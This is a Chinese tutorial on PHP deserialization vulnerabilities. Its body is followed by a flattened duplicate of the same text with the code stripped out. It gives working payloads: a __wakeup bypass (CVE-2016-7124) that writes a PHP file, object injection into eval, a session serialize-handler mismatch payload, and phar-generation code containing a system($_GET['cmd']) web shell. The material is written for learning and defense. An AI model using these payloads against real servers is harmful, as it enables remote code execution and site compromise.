一文让PHP反序列化从入门到进阶
字数 1319 2025-08-25 22:58:40

PHP反序列化从入门到进阶

序列化与反序列化基础

序列化

序列化是将对象转换为字符串的过程,使用serialize()函数实现:

class test {
    public $name = "ghtwf01";
    public $age = "18";
}
$a = new test();
echo serialize($a);
// 输出: O:4:"test":2:{s:4:"name";s:7:"ghtwf01";s:3:"age";s:2:"18";}

不同访问修饰符的序列化格式:

  • public: 直接显示属性名
  • private: 格式为%00类名%00成员名,长度增加2
  • protected: 格式为%00*%00成员名,长度增加2

反序列化

反序列化使用unserialize()函数将序列化字符串还原为对象:

$b = 'O:4:"test":2:{s:4:"name";s:7:"ghtwf01";s:3:"age";s:2:"18";}';
$obj = unserialize($b);

反序列化漏洞原理

关键魔术方法

PHP中的魔术方法在特定条件下自动调用:

  • __construct(): 对象创建时调用
  • __destruct(): 对象销毁时调用
  • __toString(): 对象被当作字符串使用时调用
  • __sleep(): 序列化前调用
  • __wakeup(): 反序列化后立即调用

漏洞示例

class A {
    public $test = "demo";
    function __destruct() {
        echo $this->test;
    }
}
$a = $_GET['value'];
$a_unser = unserialize($a); // 可控点

攻击者可构造恶意序列化数据控制$test的值。

CVE-2016-7124 __wakeup绕过

当表示对象属性个数的值大于真实属性个数时,会跳过__wakeup()的执行:

class A {
    public $target;
    function __wakeup() {
        $this->target = "wakeup!";
    }
    function __destruct() {
        file_put_contents("hello.php", $this->target);
    }
}

正常payload:
O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";}

绕过payload(将属性个数改为2):
O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";}

注入对象构造方法

同名方法利用

class A {
    public $target;
    function __construct() { $this->target = new B; }
    function __destruct() { $this->target->action(); }
}
class B { function action() { echo "action B"; } }
class C {
    public $test;
    function action() { eval($this->test); }
}

构造恶意序列化数据使$target指向C类的实例。

session反序列化漏洞

PHP session处理机制

PHP有三种session序列化处理器:

  1. php: 键名|序列化值
  2. php_binary: 键名长度(ASCII字符)+键名+序列化值
  3. php_serialize: 完全序列化数组

漏洞利用条件

  • 使用不同处理器进行序列化和反序列化
  • 可以控制session内容

利用步骤

  1. 使用php_serialize处理器存储包含|的恶意序列化数据
  2. 使用php处理器读取时,|会被当作分隔符,触发反序列化

实际案例

// upload.php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];

// vuln.php
ini_set('session.serialize_handler', 'php');
session_start();
class D0g3 {
    public $name;
    function __destruct() { eval($this->name); }
}

构造payload:
|O:5:"D0g3":1:{s:4:"name";s:10:"phpinfo();";}

phar反序列化攻击

phar文件结构

  1. stub: 文件标识,如<?php __HALT_COMPILER(); ?>
  2. manifest: 元数据(序列化存储)
  3. contents: 文件内容
  4. signature: 签名

攻击原理

当使用phar://协议解析phar文件时,文件操作函数会反序列化manifest中的元数据。

利用条件

  1. phar文件能上传到服务器
  2. 有可用的魔术方法
  3. 文件操作函数参数可控

攻击示例

  1. 创建恶意phar文件:
class TestObject {
    function __destruct() { system($_GET['cmd']); }
}
$phar = new Phar("test.phar");
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
  1. 上传并触发:
// 假设上传为test.jpg
file_exists('phar://test.jpg/test.txt');

防御措施

  1. 禁用危险魔术方法
  2. 对反序列化数据进行严格校验
  3. 限制phar文件上传
  4. 更新PHP版本修复已知漏洞

总结

PHP反序列化漏洞的核心在于:

  1. 可控的反序列化入口
  2. 存在危险的魔术方法
  3. 攻击链的完整构造

理解序列化格式、魔术方法触发条件和各种利用技巧是掌握PHP反序列化漏洞的关键。

PHP反序列化从入门到进阶 序列化与反序列化基础 序列化 序列化是将对象转换为字符串的过程,使用 serialize() 函数实现: 不同访问修饰符的序列化格式: public : 直接显示属性名 private : 格式为 %00类名%00成员名 ,长度增加2 protected : 格式为 %00*%00成员名 ,长度增加2 反序列化 反序列化使用 unserialize() 函数将序列化字符串还原为对象: 反序列化漏洞原理 关键魔术方法 PHP中的魔术方法在特定条件下自动调用: __construct() : 对象创建时调用 __destruct() : 对象销毁时调用 __toString() : 对象被当作字符串使用时调用 __sleep() : 序列化前调用 __wakeup() : 反序列化后立即调用 漏洞示例 攻击者可构造恶意序列化数据控制 $test 的值。 CVE-2016-7124 __ wakeup绕过 当表示对象属性个数的值大于真实属性个数时,会跳过 __wakeup() 的执行: 正常payload: O:1:"A":1:{s:6:"target";s:18:"<?php phpinfo();?>";} 绕过payload(将属性个数改为2): O:1:"A":2:{s:6:"target";s:18:"<?php phpinfo();?>";} 注入对象构造方法 同名方法利用 构造恶意序列化数据使 $target 指向 C 类的实例。 session反序列化漏洞 PHP session处理机制 PHP有三种session序列化处理器: php : 键名|序列化值 php_ binary : 键名长度(ASCII字符)+键名+序列化值 php_ serialize : 完全序列化数组 漏洞利用条件 使用不同处理器进行序列化和反序列化 可以控制session内容 利用步骤 使用 php_serialize 处理器存储包含 | 的恶意序列化数据 使用 php 处理器读取时, | 会被当作分隔符,触发反序列化 实际案例 构造payload: |O:5:"D0g3":1:{s:4:"name";s:10:"phpinfo();";} phar反序列化攻击 phar文件结构 stub : 文件标识,如 <?php __HALT_COMPILER(); ?> manifest : 元数据(序列化存储) contents : 文件内容 signature : 签名 攻击原理 当使用 phar:// 协议解析phar文件时,文件操作函数会反序列化manifest中的元数据。 利用条件 phar文件能上传到服务器 有可用的魔术方法 文件操作函数参数可控 攻击示例 创建恶意phar文件: 上传并触发: 防御措施 禁用危险魔术方法 对反序列化数据进行严格校验 限制phar文件上传 更新PHP版本修复已知漏洞 总结 PHP反序列化漏洞的核心在于: 可控的反序列化入口 存在危险的魔术方法 攻击链的完整构造 理解序列化格式、魔术方法触发条件和各种利用技巧是掌握PHP反序列化漏洞的关键。